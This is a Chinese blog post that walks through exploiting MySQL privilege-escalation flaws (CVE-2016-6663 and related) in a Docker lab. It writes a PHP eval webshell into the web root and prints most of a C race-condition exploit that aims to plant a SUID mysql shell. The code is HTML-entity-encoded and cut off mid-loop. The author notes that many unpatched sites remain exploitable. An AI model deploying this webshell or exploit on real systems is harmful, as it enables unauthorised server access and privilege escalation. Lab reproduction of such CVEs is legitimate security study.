0x00前言

Mysql之前爆出了CVE-2016-6662、CVE-2016-6663、CVE-2016-6664提权漏洞,影响了Mysql小于5.5.51或小于5.6.32或小于5.7.14及衍生版本。然而好多网站都没有升级,利用场景还是很多的,于是实践一下。
<!-- more -->

0x01环境搭建

1.采用tutum/lamp的docker作为测试系统环境

# docker运行及必要环境配置
docker run -d -P tutum/lamp
docker exec -it <container_id> /bin/bash
apt update && apt install -y wget gcc libmysqlclient-dev
# webshell写入
echo "<?php @eval(\$_POST[1]);?>" >  /var/www/html/shell.php
chmod -R 777 /var/www/html

2.数据库配置

# 添加用户test,密码123456,授予权限create,drop,insert,select
mysql
create database testdb;
CREATE USER 'test'@'%' IDENTIFIED BY '123456'; 
grant create,drop,insert,select on testdb.* to 'test'@'%';
flush privileges;

0x02 www-data权限提升为mysql权限

利用CVE-2016-6663
1.菜刀链接webshell,然后上传需要用到的mysql-privesc-race.c文件,内容如下

#include &lt;fcntl.h&gt;
#include &lt;grp.h&gt;
#include &lt;mysql.h&gt;
#include &lt;pwd.h&gt;
#include &lt;stdint.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/inotify.h&gt;
#include &lt;sys/stat.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;time.h&gt;
#include &lt;unistd.h&gt;


#define EXP_PATH&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;/tmp/mysql_privesc_exploit&quot;
#define EXP_DIRN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;mysql_privesc_exploit&quot;
#define MYSQL_TAB_FILE&nbsp;&nbsp;&nbsp;&nbsp;EXP_PATH &quot;/exploit_table.MYD&quot;
#define MYSQL_TEMP_FILE&nbsp;&nbsp; EXP_PATH &quot;/exploit_table.TMD&quot;

#define SUID_SHELL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXP_PATH &quot;/mysql_suid_shell.MYD&quot;

#define MAX_DELAY 1000&nbsp;&nbsp;&nbsp;&nbsp;// can be used in the race to adjust the timing if necessary

MYSQL *conn;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf( 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\033[94m\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;mysql-privesc-race.c (ver. 1.0)\n\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;CVE-2016-6663 / CVE-2016-5616\n\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;For testing purposes only. Do no harm.\n\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&quot;Discovered/Coded by:\n\n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&quot;Dawid Golunski \n&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&quot;http://legalhackers.com&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\033[0m\n\n&quot;);

}

void usage(char *argv0) {
&nbsp;&nbsp;&nbsp;&nbsp;intro();
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;Usage:\n\n%s user pass db_host database\n\n&quot;, argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {

&nbsp;&nbsp;&nbsp;&nbsp;if (!silent) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;%s \n&quot;, sql_cmd);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;if (mysql_query(conn, sql_cmd)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, &quot;%s\n&quot;, mysql_error(conn));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;res = mysql_store_result(conn);
&nbsp;&nbsp;&nbsp;&nbsp;if (res&gt;0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

&nbsp;&nbsp;&nbsp;&nbsp;int randomnum = 0;
&nbsp;&nbsp;&nbsp;&nbsp;int io_notified = 0;
&nbsp;&nbsp;&nbsp;&nbsp;int myd_handle;
&nbsp;&nbsp;&nbsp;&nbsp;int wpid;
&nbsp;&nbsp;&nbsp;&nbsp;int is_shell_suid=0;
&nbsp;&nbsp;&nbsp;&nbsp;pid_t pid;
&nbsp;&nbsp;&nbsp;&nbsp;int status;
&nbsp;&nbsp;&nbsp;&nbsp;struct stat st;
&nbsp;&nbsp;&nbsp;&nbsp;/* io notify */
&nbsp;&nbsp;&nbsp;&nbsp;int fd;
&nbsp;&nbsp;&nbsp;&nbsp;int ret;
&nbsp;&nbsp;&nbsp;&nbsp;char buf[4096] __attribute__((aligned(8)));
&nbsp;&nbsp;&nbsp;&nbsp;int num_read;
&nbsp;&nbsp;&nbsp;&nbsp;struct inotify_event *event;
&nbsp;&nbsp;&nbsp;&nbsp;/* credentials */
&nbsp;&nbsp;&nbsp;&nbsp;char *user&nbsp;&nbsp;&nbsp;&nbsp; = argv[1];
&nbsp;&nbsp;&nbsp;&nbsp;char *password = argv[2];
&nbsp;&nbsp;&nbsp;&nbsp;char *db_host&nbsp;&nbsp;= argv[3];
&nbsp;&nbsp;&nbsp;&nbsp;char *database = argv[4];


&nbsp;&nbsp;&nbsp;&nbsp;// Disable buffering of stdout
&nbsp;&nbsp;&nbsp;&nbsp;setvbuf(stdout, NULL, _IONBF, 0);

&nbsp;&nbsp;&nbsp;&nbsp;// Get the params
&nbsp;&nbsp;&nbsp;&nbsp;if (argc!=5) {
&nbsp;&nbsp;&nbsp;&nbsp;usage(argv[0]);
&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;} 
&nbsp;&nbsp;&nbsp;&nbsp;intro();
&nbsp;&nbsp;&nbsp;&nbsp;// Show initial privileges
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Starting the exploit as: \n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;id&quot;);

&nbsp;&nbsp;&nbsp;&nbsp;// Connect to the database server with provided credentials
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Connecting to the database `%s` as %s@%s\n&quot;, database, user, db_host);
&nbsp;&nbsp;&nbsp;&nbsp;conn = mysql_init(NULL);
&nbsp;&nbsp;&nbsp;&nbsp;if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(stderr, &quot;%s\n&quot;, mysql_error(conn));
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;// Prepare tmp dir
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Creating exploit temp directory %s\n&quot;, &quot;/tmp/&quot; EXP_DIRN);
&nbsp;&nbsp;&nbsp;&nbsp;umask(000);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;rm -rf /tmp/&quot; EXP_DIRN &quot; &amp;&amp; mkdir /tmp/&quot; EXP_DIRN);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;chmod g+s /tmp/&quot; EXP_DIRN );

&nbsp;&nbsp;&nbsp;&nbsp;// Prepare exploit tables :)
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Creating mysql tables \n\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;DROP TABLE IF EXISTS exploit_table&quot;, 0);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;DROP TABLE IF EXISTS mysql_suid_shell&quot;, 0);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;CREATE TABLE exploit_table (txt varchar(50)) engine = &#39;MyISAM&#39; data directory &#39;&quot; EXP_PATH &quot;&#39;&quot;, 0);
&nbsp;&nbsp;&nbsp;&nbsp;mysql_cmd(&quot;CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = &#39;MyISAM&#39; data directory &#39;&quot; EXP_PATH &quot;&#39;&quot;, 0);

&nbsp;&nbsp;&nbsp;&nbsp;// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
&nbsp;&nbsp;&nbsp;&nbsp;// The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Copying bash into the mysql_suid_shell table.\n&nbsp;&nbsp;&nbsp;&nbsp;After the exploitation the following file/table will be assigned SUID and executable bits : \n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;cp /bin/bash &quot; SUID_SHELL);
&nbsp;&nbsp;&nbsp;&nbsp;system(&quot;ls -l &quot; SUID_SHELL);

&nbsp;&nbsp;&nbsp;&nbsp;// Use inotify to get the timing right
&nbsp;&nbsp;&nbsp;&nbsp;fd = inotify_init();
&nbsp;&nbsp;&nbsp;&nbsp;if (fd &lt; 0) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;failed to inotify_init\n&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -1;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


&nbsp;&nbsp;&nbsp;&nbsp;/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

&nbsp;&nbsp;&nbsp;&nbsp;printf(&quot;\n[+] Entering the race loop... Hang in there...\n&quot;);

&nbsp;&nbsp;&nbsp;&nbsp;while ( is_shell_suid != 1 ) {

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cnt++;
&nbsp;&nbsp;&nbsp;&nbsp;if ( (cnt % 100) == 0 ) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;-&gt;&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //fflush(stdout);&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* Create empty file , remove if already exists */
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unlink(MYSQL_TEMP_FILE);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp

       
       
       

    

Hacking more

...